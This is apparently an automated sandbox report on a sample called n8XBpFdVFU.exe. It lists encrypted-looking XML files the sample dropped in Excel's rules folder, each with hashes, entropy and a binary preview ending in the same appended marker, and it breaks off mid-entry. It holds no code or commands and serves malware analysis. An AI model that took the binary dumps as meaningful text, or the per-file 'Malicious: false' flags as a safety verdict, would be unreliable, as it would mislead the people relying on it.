...-....^.(q.......?X.CB......igw....H.k...:.........T].3L..p.!....P..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.70965055143284
Encrypted:	false
SSDEEP:	12:mxMZHMZsaiNFLL+hy7SGPglNJYKvY7e7FgOQYz5lMtehlKFJrewTQmUf1+cii9a:YMZsaaKFew2+2WKAe77z5n28wTVFbD
MD5:	CE9619ACB31D52535DF725D97EFD8C75
SHA1:	97050FC82AFC90658624A9CABB42888F5A516FB6
SHA-256:	2C2B4A7D3F024112DAB6C18850234F3C1C2515EEFA87815FAF4ED364BF0A65D3
SHA-512:	E04CB1F73B636E812C4ECEB4AA8F1A6A47B4506A624DA2D555DDCA71E5224D7708E9641D9F3C31E05997409CDF59D5D36DF9AB7013D2CBC3B2BA2812BA5FE654
Malicious:	false
Preview:	<?xmlv,....@..O..`3}...l..Q4L......d....C,yz.D.C.&....jJ....9x;4.F......~m..:...7.vaT.......!.\|APe;@.Nx0`.vmd+.k......H>....uq]...GK.y\|..e!.W...[}2...#.j5....'.....<.r..)...w.=..EX....VSB.....i.d.d..A.k....;.6.#R...'.Q.M.LrB.ESP...i~...{C......=^..w.".[....#..........NQ..t]."v:.....q..X...\|B.9o.9!..NN..&...%.v.}y.E.^.3...e....u..\...e:+.s...V.).......4....6......~6.htB..8...H.:..%..yS..)..u.'.i...9'&idS.........t..O.O4A.i..1........t...o..g.R.(;.[.`X....0E...E..IK..x..........=...>gQ.(o.M...bF.. .Ti..:.. ..@....2..ew8.f...ZP....].~.Xse+.1....G........+...D.^..b.~.}O$......g.7...v2...?2....!,9.eD.@..N.}[.....-...P@$u0*..!...o:"....."5.\..wv.A.N..z..".....P.oi.X....nj.[...j;....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.69532372204028
Encrypted:	false
SSDEEP:	12:7x4/cS3QuqQCoikdGF++g74sSxoJ8JznEQI5UVxJsHaE8t08aA3XvH3UPG1+ciik:d4XqQ/iL04sSOJsI6EHsHEP9bD
MD5:	B4D063B9766D634FF9F70C24621D1568
SHA1:	9DA2544F9B5199A0BC4F3A69769FDC5A9B24A297
SHA-256:	8FA3ED3EB30A2A68C56093F714A59BDFF9FECA4C5297F87CA87AD8D1CDEF3C0A
SHA-512:	E6E3C80D7566D37DEA208086BEEA0C0BB6564B92928984939697B7C0565C9643FA7CF61E90F84A1A0407A365B1CC2E56A39DC4C987FAB730226198CB9D3AE61E
Malicious:	false
Preview:	<?xml...}. .z.t.C.@.A..\|fQ...&..vC{?.x..."\..H.=..`.gK.3 ...nx..]Q.$#......f......7...0.>...6...u.l...[.l'.pX%W.:6..OQ.......U<......E.F...YW~...%...3.....yQC....la-..,...`.=..O..DGD.k6Lz^6z.z..*....4......X.XDd...r]Z..6Q<u^Im...4#.,.....E.U<._....\|#}>.e+&...]..].m.........gw lrS........@.....OX....+...M.Z.E@.;P`Yv%..c[.$.rEES..O.:.\|..v..X.r.....z...n.'#p......]....1........D.e:....0.e.g..i.W)......`.sQ+<i6....85......=..T.Y..<.H...a.'1N~....n..`.....M...#...u&..<o..K..t!A.A.30...+.....\.<.6....0=P''..[.....Y..#6USu.<kj`. g..,o..A.,.0}.......;.,..q.ii.>.:u.XL.e..........a....D.{L............BX.D.N.27.S)H..p.;....u..........K..k#.......).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.748936406874505
Encrypted:	false
SSDEEP:	12:j3JzQU2A7n26Vlx405SPVeMZRJbZNSZ1/cwiwYePCNC+tCq+AnTL6lLxXAnU1+cq:KXA7fVTb5UowlZ0Z1hUrwjSLILxQvbD
MD5:	032E84B4A3E3F47BD65FDACE5CE8800A
SHA1:	C4DE8DC82E4FC1CA838086AC9482A236F46787C4
SHA-256:	CFA2732E914E839305309BB0B5332BE5DF04F94264F966D4A5B20BC163688D6A
SHA-512:	EDE3DAF35D5AE95071ACDB9AC2B9B6DE73F9D0152D2DDE281E8D39F281609532701124B7C5B050701271E9FA6DB5004CEDCA5D11868516AAC7D0767F83036756
Malicious:	false
Preview:	<?xml...#..y(.DE)......&R.R...0....p@..)c..:G.....U...0%..y.;o.`#..PWP.].M..tJ....bZ........ z.W....<.4.I..&.Zv.w..P.=.N0h..x...Dn..../...6.I.%.....F.?.q..4..2.e:.&..)...'0...h.l...H.c.0..r...%..u_./...i.t.i./...r.Z..A.GnQ....@.."..O...u...v!_;.V...".i........bG....}'..S.K....eU..t~..1V..AN..g.a.<..k.:..B..4..8.6l.b).@`T3.VX...x.r..K.W.f......S..V.`.)...<!.8....(.V..oE.....E}i6p.R.2........z..?..F"..n.UKYoD.V.;\|n./..T.$~.s...M.N..f1..].....wm..Y...L.Fi.t!.`.-4...g...Wm..&.P.RA..K.L..1L.#.M...>.~..1Q.i..{#.J...O......B2....B.H...i.p.=...Ou.O/3.b..e[../.N.V&m.=..nt......P.\...G6..n..{...p.._....>6...@9.X.8....z..&...BR..<....@.!S@{f....N..7.....#K.[..!..AP..m/M....R%.Z..8..v.Cd............d..17.Os;.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.710247901215157
Encrypted:	false
SSDEEP:	12:PBwovEaQa+qZuyi3vcwqNBwRaCGcqu2Yk5p/DOwSSRThHfTy/kE3RSupua1+ciik:ILhigGcV2lDOwSSpdLtE3RSuchbD
MD5:	406CBE89B41EF49D52A5E97B42B3627C
SHA1:	02AA9F082C92CD592803AC9A3FAA4C643E1FEA96
SHA-256:	E45A24D958E3081DC9C408FA140DA33C7718B67D704E922C520C34A2C82525EE
SHA-512:	EF9601FB22C0294C932B1661132C3D8FB538BA7D930CED30F1184B1CD12CDCF5FE168101B27A364FF0E8FFDBFFB6D1BC658627068D3A83E67172F6C4A490EB4C
Malicious:	false
Preview:	<?xml..vH9.E..uI:...%........u}8.0+.3}5.z_....+.egdN..7.t...@..9..(..9.4..........z.....O..f.:......p.:..Z.Y.....f.!.8..y.2<.jEj.._lU.~..HX^......-v...9.4F..x.Q.l.N.aV.R..^.z.6..NTO.z.U...M...+.... ....\|........2.a1...<....[ ].ii#-......a.A~r...$u+..mfT)..p..}...%.,..Y..P..?.._a.?..}../..\|...=[....0[......j.$.ku;..>..nT.~...a.k..Z..L....F.\|.@K=.._.BM.....~.W.y..%.m..T..............Gp...)..zA.cU!.C...G.:".7]."b.>adM.C.E .m]..b..k./....D?..N]..V..;.`K.....(M:4.........uN...@K..^...e.0.Hk..:....).u..Trl.L.1{L5].'..1....JF.v.X....S.t..<......T.#.r.r./i.1.'p(...."<.p,.7AR*...N...xT]......y.W....}.\@...Z.....V............SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.713850606527658
Encrypted:	false
SSDEEP:	24:/7AZtSn6eGj+kSwZxZgSbXib5p8ZkNceV9gSpPk81kkK5TDaLqobD:z821EzSwTCSb8T8ZYcHMPk81kDlaeyD
MD5:	CE452C844B6E36C2A4603C19F1CA837B
SHA1:	C9BB757932ACF1B34BE45A1A9361852F5CB6F970
SHA-256:	BD21CA41BFBABCCBE69384D9856F3CC217ED082E8BEF331369D6515E8F42E01C
SHA-512:	65AF2B71B45D535FBD5589BE57761DF2D06530F5913426FC291497687854F0F42AA3769307837FAFBBC69A39F4434CA5DE558B899F1468F55A2C687948AF8261
Malicious:	false
Preview:	<?xml.D0}.Io..9\|........2_;.P.4.t...>..g..o%..aVG-D.g.n...J.....y.n.K..Te...JC7.g...)E.V..Y-Lz.l.".!..%.v.aG.X..%..h(u.+".&.,.{...;..E9Ku.$c..a/...<.3.!..!.\..ZV....Q}+.}\|..}...T,T./..}.$.m...Jy...O.....G..?.:....q.R_...X.Mg.b...<..d.p..62..............z,d....!.....='.Da...k..S... .U..n@.fW.c%....r.@..Q...x....}..3..r^....s.`........``z0...y.u]...o.(..yL=......5.xm',./X...!.H.~Y'......J..x..ub.S.e.;&.ce..B..@?20%....A.yW{..B.s... t..R)O..&,.W.O!..g...Kq.0........].k.#.SIS.........~Xa...,a.y...u....9...s96.}.R......O$@.5.3\|.z.....h..niS.8..t..ax....4.=..1.#...a... '.x...Z>j...+...f=.....aQWk.vJ...F0...-...\|.>t.....W......H..>..A.k.7XN&...e8.VV$.v.gd...].a0y+. ...=...C....../. [*.S%..S...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.696534222709146
Encrypted:	false
SSDEEP:	12:401MvohbgaOcFl/KFUThzdId3kJMECYSN+k45ra2SzVqmEhFIBUfntysBQ/YV1+X:XMvoNAcFl/ckSN+h5raFZqmEn6Ufntg1
MD5:	9DA6D4056DDF6C2DA5DD45BB227A1575
SHA1:	B97C41362EB772A3275BA7E4E857DD6A3228BCDE
SHA-256:	6B47F18760F1139915DA0A0B34FBF6A85677370D0DC1892B245846A714CC730F
SHA-512:	AEE2296F6AC89487813AF1D3E00DCE670F62C427F8B6F0EBAF6690759C35185FBF70046FE855A5E3C698F944EE3FD1ACF29F83CD2DDDC50456294CF6D01B55C2
Malicious:	false
Preview:	<?xml...<<.........z.,x.........\|.=S...........K...%.9z.v..s.n>..."%%.v%`...aXGa........5.h,.tS...a..9.8.re;=..-..?Q....p[.Y.Na..4U.=..........$....>... cX)/&....,"...m.S.}....V.U...T{p\5.b...~m..%.)$.%...R;...2.$..(.j}`....Z...x"GY.#...\+...V..N.Aj5....J..S...!{.H...3..W..2....N...m..V.7.......$M...Kv[.D.........k....m....Z4NB....-.....mv.B.:..\H.Z.'w....h.e&s.....7..d4eH.-..L..w.....c&.b...W.e....%Bi..+Fd8#..[h....a.s..J.K...%.7.:../.I....rP03V..%.Ow!lm.t.;...#.Z.z5.0a.n,&.:C.[..7..O..8..}...2........j..e../.t&T.`^z.mE..k..De..0U.......H..H{C.p.W4'i......6.6.r.y.......l.:/.'.ym..Y3.1. ........A.n..Rv1=......[}.~.+.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.69472589425631
Encrypted:	false
SSDEEP:	12:GAyPz0I2Fhr0k4IKPiJKV3gIOpIxiTYU67lJjrdIN2UXvC7f5ArjUgI8n+4E1YHm:GAi0Imh9FvJKtTOG1UUPO2OlU8dCbD
MD5:	86413BF2D608154FC3A28B0BB3F8A712
SHA1:	6414791C2599E558C019A225FA12E303125FEAF5
SHA-256:	4DD31608B1C72B4FCF6EB99172DCA1E6BAFF6A5883E459C68F163E0BF4E30407
SHA-512:	8FAE7C1689A1CB449BBB03D0D9DEC9E443ED5A71B5AD6B7A928132612208920C982CF8D4B3C0676D91209EC7E0A7E378ACC9398FF71BB54FDE6278D07A64B74C
Malicious:	false
Preview:	<?xml...D...X...>t.Y....4.\l..-.`..;q~.....\|....3.N..H>...1gt+-}...l..[.A5.-..5&...^9x...S..lE....v.>.[..gh.0...?cV..[...b...U...\|...+.e..s..N....r.j..X.b.....Q....=... ...!6..L......./.=....I..vS..D2.^X...%.....bK5_.54..!.Vt.\...:._.oL9..9_.p.S....%bE..9VVX=^..W.>..D..%...6q~A.......DyJ..T..E..t.mC^G.uRh=.........rF.F.._V$n..)......Q.qvF...S*./.i....v...@SR.nNt..l..8.\|......a./.z...#@.<Y.......?..I..\|.p.?.yRB.z...w7..c%.....M%.R..0..$....=.D.....#"..F[[QU&..B`)...z.z7....xe..G.0...`;a.)~...........#t...k....0.............FR.dL.y.c.@7..W.8v.5.E......\|.......$.E.s...FQ... ...Z(:.3z........S?.k4-$.a.R.....H..lAhJ.8..;.N.Q.A\.`......^.^......k.....t..j.D....1_JgB......K64...gv.N....v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.712222439388145
Encrypted:	false
SSDEEP:	12:r/O607CxLNwkmFNI5zC/tW+S5MTzNczIq4wQ72qsBs7Ay2ZMiwplVDBfzwrARsiL:r/OFCxppmqk8ATAI8zVy2ZrwplVDBf57
MD5:	CF2ADE854232B064FF2667C12609D5FC
SHA1:	F064C57E39798D9DB3B92F2AA5426049BF85F14E
SHA-256:	704BD019EFEA3998060BCD82EF359A42C3AD5B2FFC7E20FCB58C5D327B1436B0
SHA-512:	EB06E74DC69C658FDB9F83F0CB4F9F594E86861AF8ADF08BF66D6695092C672271ADCE9BCB43037B16F3EECB918020E42A0D7AE8171B3CEEE4B8718B18105D6C
Malicious:	false
Preview:	<?xml..v..W.;.(......>.....d&.xt.L)..F\.4..X..a...fI....^H.<Cu.3G.....z.T..E...#$..#V.6x.u6......W...I+F.T..&....kS....>......m...9.O?...J-.{h.\.A.fX.4.j....\-....V....l...;.g.'4..........iR.q.H.......C.....7.<..LE.#......zZ.%..Y#D.T3.....wo0.m..q..x.B..4Y..x..Qfx..G..m</.?...1oG...t<.C.(/.-.g. ].'f~n.2..N.2\......M.K=h.Jz..x.lX...F....'..v#&JSR.%9.(V.2.......]....7...!@...j..t.u...Z.1i..W.8..U...e..[.Br.e.......S........@iH.....C.$......s\|......4... .L.V..5C....E.{.M......1......'..vK.?=.D!..b....L.o .5Q.h....m.%..fx... .$....._Y..e1a....F ..VAFg2.P...w.3f./...)..`>..q?>.g....cZ^.#..Nawn.M.]]q...m..............D.X2...+.7..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.712938533781777
Encrypted:	false
SSDEEP:	24:DTAA8L2i+tGGadf7L7Da/xp89o3xzsP1/2Rm4HbD:PAVL2dtGGah7+/P89o3xAPZOTD
MD5:	AB76AE23BD67C58907BCBD4613F1C291
SHA1:	2C9363F993EDC332AE9D42329D2601E6445806CB
SHA-256:	854D9F5120918C683E9857DFA33D84980417B9FED73C1A0864C3C3659096C0C7
SHA-512:	331AAE3D78FE7D3F4D87544C6D53AF58CF57A115ECEA9FFA3862D2F9BBE9E7151F63CF0D146BBB20586BB9F616D1312AC819AE1400B971C9A0D15EE6FDEB54CD
Malicious:	false
Preview:	<?xml.}&..u.=.z,S.....N.E@../..n+}...........vDkT.U..'../......R..f.M$.Qt.....:E..S...id.....r..o(.n..`.".t.n..>.Q.....S7.U...V7.....#.P.....2.....{......y..u..qymF.../}..x .~....\|&.......vWk.{..2.H.K.....".{.IBwE.....%igw<.`].=.&...'$.Pm5H....1.'.........z.yT..}....U.xS..m~;.94..N.._G^.........X6.l%i.D,.{..b.o..T.h....[&..m..I".b........\.t\......h.EC...Tz.m.Et.A.....t...%..p...."...&}.p.cZ.l...^_\|{...t.X._i.j'..~u'..d.....f#Y...THY...j..+).s;.~.U....'XB.....zR..i....^y-.........`..Y........?....>.....1..^..X...-.}.'..24.Q.=(.E.8.N..t._...4...+...u..\#F...@............w.cZS21...r....c....i.0....q.;z..).DK......7E.....0....!.....3.O...[...^.....t8..(.THO:-....-#..jIH..m.j.-Q..n.6.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.729676010237847
Encrypted:	false
SSDEEP:	12:E556DwLa/CxbcyhxMv8O6/lwPy84W8EeeQ0W+Y42cBCm78NSCB5JCL1+cii9a:cQsLa65ceY8Jx6IWY42xmgSwCYbD
MD5:	86F4A304870044D3711A504082E023BC
SHA1:	C148E36C4B07FC0B165F958E74561DE0698B361C
SHA-256:	5342F4695F8DBD0F98FE1C869FA7776786A7AC5BEB79A20D903934856AA9F8BB
SHA-512:	C0D1DEF4B54FFD8EC846E827677639CF6BCA8DF6E4FC9C205F7E6FD7F86CE9F595E21312EE14041FBF6597094B916FF6B878BAE95D8802FF818ABB7D8A32D2DD
Malicious:	false
Preview:	<?xmly...\|}.;P...Ag#..M..$../..FG.\^.}j....Z.V.@.$?.x...k.)\|`i.L.....^.....v.Ff..W 3z.n.<...#.......].{j...1O...Z1...-.qO..&.......1..j.8N.2......u..,......Q..l<....-c..)..7{.....z.......".S.j9.o..EH....?f...B.....&........e.{{9`@0\|....T.k.N.'x.:Q..v.4.(.C.T..-.b.I9.g.p..C\|...9.0......P.......X.J.....5...DM#..........L..re..}GXK....OJ.!....(z\..=.......b\Y.U....Q...^..=....LD.........o.#Ew.G..w.4az.r....];..l..E.M..Q..+....-.^..=..X..Tij..M...S.......7..\|../.kU'd...=.x..bQ.;P....;I\..!;6h....i.<..i....$.4...i...I..s.....h4.Kd.....V0...O.X.......l...O..;......G.-{.gnR8.\|.#.f.c..+IjC.......*..!hc}.. K.&.....l..i.?.X.G,2..5....Y....n.....B..0t.,.,...<..)SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7007673435756745
Encrypted:	false
SSDEEP:	12:6XSP2lZSlRtqcPKQsfGe1y3cSd9r8ZvgF4/a4Aov7YemOpNhXIpM9j0G9PB1+ciD:6XSP2vS4LSd9evgGa41RmGHYaZhSbD
MD5:	7D089A1C172D9CFB9388119F3FE0BFA8
SHA1:	25E83EE4E4D3F7BD922DDCC680074C55A0049738
SHA-256:	EE865024F8A9EE913F1C6D6B195D13C44C7D278BCAC2D376ABA50A44D3D0CB41
SHA-512:	11ECB1717A02118A7C20F61526740115ED55A49FA563D63E0EDC16189B59613CB36B2791D465CA187EE5ACAB0BAA727DA6B9D41AF7F5C5B081144E2AED453266
Malicious:	false
Preview:	<?xml..Z....H.W.c.....p..._^P.".U...r....h..._.xi}.IeWXq.."w%.RH....S...s}.J&....~.U5.-b..Q..B.A.\.e.B-Q8z....?.b...CV..~.66.4.......x%V(.....m.q.Q%....<J`3RP.......A.0'JRx\....Z.......\|)o....+.[..:f..v.J"..S}.".X..n..kj..3,h.].\|m.[Z...8....xo.I. .x....H2{ l..L...Tu.S...Z (...~)...f{..@.f....J..5(.!;.....k.#>o.....qB...V...n.^Z.q.]m...E..L..me.Y...-(...~%..&BEk~.).C...A:....JS...!@B...WeS........eQ..i.....W.!.r.:.t.P.p........>.....X.)...z....k0.>.1.^....f.v3.....c.3......\|..I..jG..F.......EO..}.\.....J..uM.P.iNV.6..3.<+...#G.#...d..2..9.Q..\|.0.c`..s.....*...A..<N...(0d.F...a6!.Y!6.....Q..u.z=Z.....).G......^.W..g.X..-.........%]..&2.i.j....B{q%.+.z....n........k..aj....U.e.v.}"o..:...=...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.6860405632566255
Encrypted:	false
SSDEEP:	12:G4JP/TZA1JlaORU6EKiV2Hg+CIPwLVlFi6duF0BOzuThCPdaeNZE1pUvI2kuVcXT:GiP61O6EbVog+Cgw/zwFq+o8NepUvI28
MD5:	188A22228C5B015AF7D12C111E091921
SHA1:	EA3C3F258822FF378A8AD5D70A010942AC6D049E
SHA-256:	3E3E259C1F591072123BDC9FC332E4E3C94026980DF677DEBBA6696D17D81417
SHA-512:	385AEAC8A885671BF19CF9729E3CFE8FB323B76183116E3D435B5A85ECD44639037EDF9E50BD199B17BB91C830160FF6A76F861CC2CCE1F7393EE451B7A1D356
Malicious:	false
Preview:	<?xml..b.{m..Ev.I..&...FjiV.a/].i.$...g?'E...>.PV.YT..7yVr!..i-U.O.[..V.D.lE/.f..v?....oTv...5.....X&..uJK.N#.gN..!.. .D.X-.5..Y.#...is....K...-?H..U.../.)....p.I.....ug.....]..<....6..&?.c>dgw.....X."<$s.....q.<.-.@WTr,..Z..:2.....:....6.2.......@t...k....].....v.9...\T..%.z?\|..=..H......F..-d..Y.(+.....L.}......7.)...?o._.t.l..6.t..bTU..4.W..!."..+T...........Q.:.B..\..`Jv=..k5.F...W.............8...{..7...E..w.....#}%....8.....PK.1..t\..h(.P&......H=........W..]..;...lff..S.%..[0......V..........f...T....(A.*...T.s;.W..@..jY..D.....l..v.0P.!..6....^.....W.n`...+..V@T^].v..'%L...0...6....~.W.[2.6...W...^.1.88u....}...vH.\|...U.F.2......M.}jh@.F~.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.695155364323928
Encrypted:	false
SSDEEP:	24:Nf2a6aqzOLsKVhwOaixSotmG3CjLmdbUhDbD:Nf2d/zOpvwOaiUwQsbUhXD
MD5:	F11EE518D0C3609D2117A9864E1ED5C1
SHA1:	0A0E166FA7B9DA631D70F0F694885F1292AAC0C9
SHA-256:	2263F0E1004331BC809C15B0C2ACB627C31F439ED543437143C570A049C788BC
SHA-512:	914015BA254992742713ED25350C81052E8F34252511FAEBAEC64B6B3F96572B0EAE960124E5EC827FF292984AF99ED138166626302076AC6432DA2443208EF5
Malicious:	false
Preview:	<?xmlZ.z.^6......FQ....e@...G......z^.s..._.@v...[..h..\|Ve.<....].....;.R.o.a....&...%...2.l.h.....7.....Z.._.T..9.0c.].8.z!..d.]..1.UM.A..UD..I.........<.....t..x....=#-5q.6`.L....k...`.........q...X....$.>....~l.u%Xi..Z.....[....[.T..b.......sh..t....o..&o...x^v.\.CH...gai.8}.7F..He......r0.......'11Sn...hG....+M0.H5.5..KM.Vh...,2#.UVG.f.L.a~..Q.T;.&/r.Z"w<..Y...{......b...n..c.A....(.?..d1p.......1f.-.T....#\| .;k..S)..7...]..%...r.....?k..#..1....~%.c.`o.....N..?.....\.~H....<.[Pi.....%c..S.%..i....<.....Bk..P[........;...;...!....o....{.+..I..{jx>.....c.".P.8.Zby.A..#.w..5...c..b.;k..['.G.....p.gLbU.]....`.+.IO!.e8C...>pa.%O#..\.MP..L....s..........HF...qN.../..m.8....@..R.....R.h.Z.DSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.759168423253171
Encrypted:	false
SSDEEP:	12:wNUJO5DJtqQZ9IRzT7rTNvzuEWQ5M7efR9PtrARfDY2MRGLofOHSTfkD3jG8Vf14:KBNqQDGzT7/NvH5MKZRtstH8AzykjzV+
MD5:	7F7EB2C8CBCE3CB616B5C6CF0E9B9F12
SHA1:	704D863322DE9909A53115018E2003D4D31DD91F
SHA-256:	90D1CFE6B989A45EC3DC7F408482F3C877C3CEB9B4EF441B89B7B484AC721160
SHA-512:	CB3B4C318DE6B68C6474C9946A522890D58D59BEF6F22757003F98DE5FBB731CD2270114C4BD295F44B8D292035FB88260BD4D8A27A15B44F04BAC0446CDD2E9
Malicious:	false
Preview:	<?xml.W.V..U.8D.I...-.e.....c..YO.`..F........B..O.0.....aG.:.r..]j...-.8..@.sa.i{..%I..uN. V..:VX1t.4G......8."..-....y=...g.&......6.#/.....\_.G..rzL+.9.-_.8..<&KAU.J.Xl8..$.8j7......mx.C.2......7D..3..S..0p....a...I.#........,.)...%......9X)....~...}..C..X....w"..:N..$s..z....."N61...a.....n.J..!.j\|.UzI.o..)C.t....n.,.?.d.L.....3..lp..y...R..y..U.....".u..^.\...-...R.:..'b7...E.r.g.l.t.W.%.>.`..@..:2....-...]!~.@....(..........cZ.<q...yHQ..V...+.....[.......0=>....k.W-.c..0.D.M...$.'..._.7...vH,...rC"<."#S..6..U.Z`.....9\|)...=.4Y.=....b9....\|..W...[./.w]..R.........7].. ,$..;.&...Ie....P.._...e{F.l8....K^#.P7..?../#Q.Y....W.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.716661737738836
Encrypted:	false
SSDEEP:	12:L4R6JmoY95kB8x48Bn+0V8Fxnra579TrNWE9Bz+OtckCXH6bPyJHaZati2/6ZUTt:kR6JmzcB8xlWde7xrN+KzAGc6V2HFbD
MD5:	23E647638F9E455AC52FFED6F7626FE0
SHA1:	B6DB28136F225EBF2232AD5736C32A861870523B
SHA-256:	7E30957E7FCC14DD640630ED0FD5E18CDBE9264FCBAF9E05DE3F5BDB704C7734
SHA-512:	6CDF8CA30582EDF8AD3CB94AFEA2E00FF338057B61F944FE6E6BD01034D8848E0E52D2BE5B340D093AD7C7BB3900C116211770EB314E06D070140D7F0E8A5D6E
Malicious:	false
Preview:	<?xml.y.uSsXJ.%.b.....@........+..4.`.......W...d56.z...7:.&..,..~=O.....:..dN.;.da......S'' ..:.x..'g.?.eA...6...1...E...6.......#..we.n.L....&.N..frd..z.%H..VF~..,FS.7W:..]3.!.e.p..9..&E.cT..E.. W.~.R....!__..S.{.G........E*....g..F..Q..+1G.I.u.....[.BX.n>..p.g..........!p:G.p...Y..ce.2&E......b....5Q.l.........3...v".."....\M....X....i..7IL.\..i...u..i.m.s..... 9qE....r...........K.[.0.(.<k..\..#.8H.0..w&....G....0.3.n.....<m...c...(.:.<.-[.f.e..^.sb..u.....$Wy.%Y7..2..&..B_..<^......a.R..Cqy...`.(...oHw..F]].i... ....z..eM..6tq.bn5.w.r.X1.....G.;.).....9..KM.s.n3.b..q..Y...4...H....?..n.!...hw../\|G.$.hO.....<h\|..6m.........,G../.`..{X....e..6....<...!.OL>.d....Z.r....R..., ..)...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.683692736477592
Encrypted:	false
SSDEEP:	12:sHur1NhI1+vx3OTJVjSeIMisRSm5onf0fN4fq4zhZUxbVSt8YxNyD1+cii9a:mq4MMSeI8sm548Nf4b9yebD
MD5:	26ED3D4319A16F97A1B2407E1E68D937
SHA1:	48BB35A346005C9874D8342EEB2019432F56746C
